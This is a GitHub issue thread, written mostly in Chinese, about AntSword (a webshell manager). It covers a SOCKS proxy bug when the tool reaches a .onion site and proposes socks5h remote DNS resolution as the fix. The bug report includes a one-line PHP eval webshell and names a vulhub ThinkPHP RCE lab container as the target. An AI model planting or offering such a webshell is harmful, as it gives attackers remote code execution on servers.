Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

配置socks代理后,测试连接成功,但添加数据失败,提示 getaddrinfo not found #294

Open
4 of 13 tasks
chen2aaron opened this issue Sep 13, 2021 · 4 comments

Comments

@chen2aaron
Copy link

chen2aaron commented Sep 13, 2021

  • 我确定这是蚁剑本身的一个 Bug,我并不是在询问如何使用蚁剑
  • 我确定已经将蚁剑升级至软件发布页面中的最新版
  • 我已经阅读过蚁剑的开发文档,并且尝试过自己通过Google等方式解决问题
  • 这是一个新功能的建议
  • 我查阅了文档没找到解决方案,所以来询问如何使用蚁剑

报告 Bug

  • 我使用的操作系统是 macOS 10+
  • 我使用的操作系统是 Debian/Ubuntu GNU/Linux
  • 我使用的操作系统是 Fedora GNU/Linux
  • 我使用的操作系统是 Arch GNU/Linux
  • 我使用的操作系统是 Other GNU/Linux
  • 我使用的操作系统是 Windows 10+

  • 我使用的是 32 位操作系统
  • 我使用的是 64 位操作系统

shell 连接 Bug

  1. 服务端操作系统
    Debian 10

  2. 服务端shell代码
    <?php echo "test";@eval($_POST["pass"]);?>

  3. 服务端环境配置
    thinkphp搭建的onion网站
    docker-compose 起的容器 https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
    以此容器为基础,反代了一层onion地址

  4. 客户端连接配置
    目标是onion网站,配置了代理访问
    image

image

  • 测试连接 成功
  • 添加数据 失败
@chen2aaron
Copy link
Author

在本机添加 host,指定onion域名到127.0.0.1后 可以正常使用。
感觉应该是dns解析的原因,onion地址比较特殊。

@Medicean
Copy link
Collaborator

在本机添加 host,指定onion域名到127.0.0.1后 可以正常使用。
感觉应该是dns解析的原因,onion地址比较特殊。

是的,onion 是自己的 DNS 和常规的DNS不一样。你的 socks5 支持解析 DNS 吗?

@chen2aaron
Copy link
Author

支持的,一般使用tor代理 会用远程dns解析,即 socks5h

@hysia
Copy link

hysia commented Sep 17, 2021

在本机添加 host,指定onion域名到127.0.0.1后 可以正常使用。
感觉应该是dns解析的原因,onion地址比较特殊。

是的,onion 是自己的 DNS 和常规的DNS不一样。你的 socks5 支持解析 DNS 吗?

@Medicean 考虑代理支持 socks5h
In a proxy string, socks5h:// and socks4a:// mean that the hostname is
resolved by the SOCKS server. socks5:// and socks4:// mean that the
hostname is resolved locally. socks4a:// means to use SOCKS4a, which is
an extension of SOCKS4. Let's make antSword honor it.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants